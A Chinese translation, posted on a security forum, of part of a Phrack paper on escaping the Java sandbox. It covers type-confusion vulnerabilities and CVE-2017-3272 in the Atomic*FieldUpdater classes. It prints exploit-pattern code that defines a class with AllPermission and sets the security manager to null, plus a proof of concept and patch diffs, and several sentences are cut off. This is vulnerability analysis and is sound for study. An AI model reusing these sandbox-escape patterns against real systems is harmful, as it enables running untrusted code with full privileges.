登录

Java沙箱逃逸走过的二十个春秋（二）

mss**** / 2018-10-02 20:09:47 / 浏览数 3415 技术文章 技术文章 顶(0) 踩(0)

原文：http://phrack.org/papers/escaping_the_java_sandbox.html

在上一篇中，我们不仅回顾了Java沙箱的漏洞简史，介绍了Java平台的两个基本组成部分，同时，还讲解了Java安全管理器和doPrivileged方法。在本文中，我们将为读者介

--[3 - 内存破坏漏洞

----[3.1 - 类型混淆漏洞

------[3.1.1 -背景知识

在这里，我们介绍的第一种内存破坏漏洞为类型混淆漏洞[13]。实际上，许多Java漏洞都是依赖于类型混淆漏洞来实现沙箱逃避的，如[16]、[17]以及最近的[18]。简而言之

答案是，安全分析人员可以借助类型混淆漏洞来访问那些本来无权访问的方法。对于安全分析人员来说，典型的目标就是_ClassLoader_类的defineClass()方法。为什么呢？好吧，这种方法允许安全分析人员定义一个自定义的类（这样，就有可能控制它了），并赋予却完整的权限。因此，安全分析人员可以创建并执行自己新定义的类，并让这个

其中，方法defineClass()的访问权限为"protected"，因此，只能由类_ClassLoader_中的方法或_ClassLoader_的子类调用。由于安全分析人员无法修改_ClassLoader_中的

然后，安全分析人员可以从环境中检索现有的_ClassLoader_实例，并利用类型混淆漏洞将其"强制转换"为Help。这样一来，JVM将会把方法doWork()（下面的第4行）的参

```
1: public class Help extends ClassLoader implements
 2:    Serializable {
 3:
 4:   public static void doWork(Help h) throws Throwable {
 5:
 6:     byte[] buffer = BypassExploit.getDefaultHelper();
 7:     URL url = new URL("file:///");
 8:     Certificate[] certs = new Certificate[0];
 9:     Permissions perm = new Permissions();
10:     perm.add(new AllPermission());
11:     ProtectionDomain protectionDomain = new ProtectionDomain(
12:      new CodeSource(url, certs), perm);
13:
14:     Class cls = h.defineClass("DefaultHelper", buffer, 0,
15:      buffer.length, protectionDomain);
16:     cls.newInstance();
17:
18:   }
19: }
```

更准确地说，安全分析人员要想借助类型混淆漏洞来禁用沙箱的话，可以分三步走。首先，安全分析人员可以按如下方式检索应用程序的类加载器（这一步没有权限要求）：

```
Object cl = Help.class.getClassLoader();
```

然后，利用类型混淆漏洞，可以让VM将对象cl的类型视为Help。

```
Help h = use_type_confusion_to_convert_to_Help(cl);
```

最后，将h作为参数提交给_Help_类的静态方法doWork()，从而禁用安全管理器。

doWork()方法首先会加载（但不执行）缓冲区中处于安全分析人员控制之下的_DefaultHelper_类的字节码（见上面代码清单中的第6行）。就像下面所示的那样，这个类将

```
1: public class DefaultHelper implements PrivilegedExceptionAction<Void> {
2:   public DefaultHelper() {
3:       AccessController.doPrivileged(this);
4:   }
5:
6:   public Void run() throws Exception {
7:     System.setSecurityManager(null);
8:   }
9: }
```

加载字节码后，它会创建一个具有全部权限的保护域（protection
domain），见第7-12行。最后，它调用h的defineClass()方法，具体见第14-15行。这里的调用是合法的，因为在VM看来，h的类型为Help。但是，h的实际类型为ClassL

------[3.1.2 –示例： CVE-2017-3272

前面解释了类型混淆漏洞的概念，以及利用它来禁用安全管理器的方法。下面，我们将提供了一个示例，来演示如何使用CVE-2017-3272漏洞来实现这类攻击。

Redhat公司的bugzilla在文献[14]中提供了有关CVE-2017-3272的技术细节，以下文字就是摘自该文献：

“研究发现，OpenJDK的Libraries组件中的_java.util.concurrent.atomic_包中的原子字段更新器没有正确地限制对protected字段成员的访问。恶意的Java应用程序或apple

这表明漏洞代码位于_java.util.concurrent.atomic.package_中，这与访问protected字段有关。该页面还提供了OpenJDK的补丁程序“8165344: Update concurrency support”的链接。这个补丁程序会修改AtomicIntegerFieldUpdater 、_ _AtomicLongFieldUpdater_和_AtomicReferenceFieldUpdater_类。那么，这些类的作用是什么呢？

为了实现字段的并发修改，Java提供了AtomicLong、_AtomicInt_和_AtomicBoolean_等类。例如，为了生成一千万个可并发修改的_long_字段，必须实例化一千万个_Ato

相比之下，使用_AtomicLongFieldUpdater_类的话，它只需要10.000.000 * 8 = 76 MiB字节空间。实际上，只有Long类型的字段才会占用大量空间。

此外，由于_AtomicFieldUpdater_类中的所有方法都是静态的，因此，只会为更新器生成单个实例。使用_AtomicFieldUpdater_类的另一个好处是，垃圾收集器不必跟踪一

关于创建_AtomicReferenceFieldUpdater_实例的过程，具体如下所示。调用方法newUpdater()时，必须提供3个参数：tclass，包含字段的类的类型；vclass，该字段的类

```
1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater(
 2:                                 Class<U> tclass,
 3:                                 Class<W> vclass,
 4:                                 String fieldName) {
 5:   return new AtomicReferenceFieldUpdaterImpl<U,W>
 6:     (tclass, vclass, fieldName, Reflection.getCallerClass());
 7: }
```

方法newUpdater()调用_AtomicReferenceFieldUpdaterImpl_类的构造函数来完成实际的工作。

```
1: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,
 2:                                 final Class<V> vclass,
 3:                                 final String fieldName,
 4:                                 final Class<?> caller) {
 5:   final Field field;
 6:   final Class<?> fieldClass;
 7:   final int modifiers;
 8:   try {
 9:     field = AccessController.doPrivileged(
10:       new PrivilegedExceptionAction<Field>() {
11:         public Field run() throws NoSuchFieldException {
12:           return tclass.getDeclaredField(fieldName);
13:         }
14:       });
15:     modifiers = field.getModifiers();
16:     sun.reflect.misc.ReflectUtil.ensureMemberAccess(
17:       caller, tclass, null, modifiers);
18:     ClassLoader cl = tclass.getClassLoader();
19:     ClassLoader ccl = caller.getClassLoader();
20:     if ((ccl != null) && (ccl != cl) &&
21:       ((cl == null) || !isAncestor(cl, ccl))) {
22:       sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass);
23:     }
24:     fieldClass = field.getType();
25:   } catch (PrivilegedActionException pae) {
26:     throw new RuntimeException(pae.getException());
27:   } catch (Exception ex) {
28:     throw new RuntimeException(ex);
29:   }
30:
31:   if (vclass != fieldClass)
32:     throw new ClassCastException();
33:
34:   if (!Modifier.isVolatile(modifiers))
35:     throw new IllegalArgumentException("Must be volatile type");
36:
37:   this.cclass = (Modifier.isProtected(modifiers) &&
38:           caller != tclass) ? caller : null;
39:   this.tclass = tclass;
40:   if (vclass == Object.class)
```

```
41:     this.vclass = null;
42:   else
43:     this.vclass = vclass;
44:   offset = unsafe.objectFieldOffset(field);
45: }
```

构造函数首先通过反射机制来检索要更新的字段，具体见第12行。请注意，即使代码没有任何权限，反射调用也能正常运行。这是因为，该调用是在doPrivileged()内完成的

一旦安全分析人员引用了_AtomicReferenceFieldUpdater_对象，就可以调用其set()方法来更新字段了，具体如下所示：

```
1: public final void set(T obj, V newValue) {
 2:   accessCheck(obj);
 3:   valueCheck(newValue);
 4:    U.putObjectVolatile(obj, offset, newValue);
 5: }
 6:
 7: private final void accessCheck(T obj) {
 8:   if (!cclass.isInstance(obj))
 9:     throwAccessCheckException(obj);
10: }
11:
12: private final void valueCheck(V v) {
13:   if (v != null && !(vclass.isInstance(v)))
14:     throwCCE();
15: }
```

其中，方法set()的第1个参数，即obj，是必须更新引用字段的实例。第2个参数newValue是引用字段的新值。set()方法运行时，首先会检查obj是否为cclass类型的实例（见

该漏洞的补丁代码如下所示。

```
- this.cclass = (Modifier.isProtected(modifiers))
-                ? caller : tclass;
+ this.cclass = (Modifier.isProtected(modifiers)
+             && tclass.isAssignableFrom(caller)
+             && !isSamePackage(tclass, caller))
+                ? caller : tclass;
```

正如我们前面注意到的那样，原始代码没有对caller对象进行充分的检查。在补丁版本中，会检查tclass是否为caller的超类或超接口。这样的话，这个漏洞的利用方式已经变

```
1: class Dummy {
 2:   protected volatile A f;
 3: }
 4:
 5: class MyClass {
 6:   protected volatile B g;
 7:
 8:   main() {
 9:     m = new MyClass();
10:     u = newUpdater(Dummy.class, A.class, "f");
11:     u.set(m, new A());
12:     println(m.g.getClass());
13:   }
14: }
```

首先，类_Dummy_被用于调用方法newUpdater()，该类定义了一个字段f，其类型为A（见第1-3、9、10行）。然后，调用了更新器实例（第11行）的方法set()，并为该方
A”，而不是“class B”（见第12行）。但是，对于类_A_的这个实例的访问，是通过类_B_的方法和字段完成的。

------[3.1.3 – 讨论

如上所述，Java
1.5中已经引入了_Atomic*FieldUpdater_类。但是，该漏洞直到1.8_112版本发行时才被检测到，并在下一个版本，即1.8_121中就得到了修复。通过在1.6_到1.8_112版本中
1.5的第一个和最后一个版本进行了相应的PoC测试，结果表明，它们都不会受到该漏洞的影响。

通过比较_AtomicReferenceFieldUpdater_类在1.8_91 (无漏洞)和1.8_92
(有漏洞)版本之间的差异，代码重构操作未能对输入值进行语义层面的全面检查。其中，它在1.8_91版本中的非脆弱代码如下所示。

```
1: private void ensureProtectedAccess(T obj) {
 2:   if (cclass.isInstance(obj)) {
 3:     return;
 4:   }
```

```
 5:   throw new RuntimeException(...
 6: }
 7:
 8: void updateCheck(T obj, V update) {
 9:   if (!tclass.isInstance(obj) ||
10:       (update != null && vclass != null
11:        && !vclass.isInstance(update)))
12:     throw new ClassCastException();
13:   if (cclass != null)
14:     ensureProtectedAccess(obj);
15: }
16:
17: public void set(T obj, V newValue) {
18:   if (obj == null ||
19:       obj.getClass() != tclass ||
20:       cclass != null ||
21:       (newValue != null
22:        && vclass != null
23:        && vclass != newValue.getClass()))
24:       updateCheck(obj, newValue);
25:   unsafe.putObjectVolatile(obj, offset, newValue);
26: }
```

在不容易受到攻击版本中，如果obj的类型不同于tclass（包含要更新的字段的类的类型）的话，则可能需要满足两个条件。第一个条件是obj可以转换为tclass（见第9、12行

但是，在易受攻击的版本中，唯一的条件就是obj可以转换为cclass。而obj可以转换为tclass的条件被忽略了。

实际上，缺失一个条件就足以引发一个安全漏洞，如果利用得当的话，将导致完全绕过Java沙箱。

类型混淆漏洞可以预防吗？ 在Java中，出于性能考虑，每次使用对象o时，都不会对其类型_T_展开检查。

如果在每次使用对象时都进行类型检查的话，虽然可以防止类型混淆攻击，但同时也会增加运行时开销。

小结

在本文中，我们为读者详细介绍了基于类型混淆漏洞的沙箱逃逸技术。在下一篇文章中，我们将继续为读者带来更多精彩的内容，请读者耐心等待。

上一篇：SSL证书真伪检测工具实现方法 下一篇：Vulnhub Ch4inrulz

1. 0 条回复
   - 动动手指，沙发就是你的了！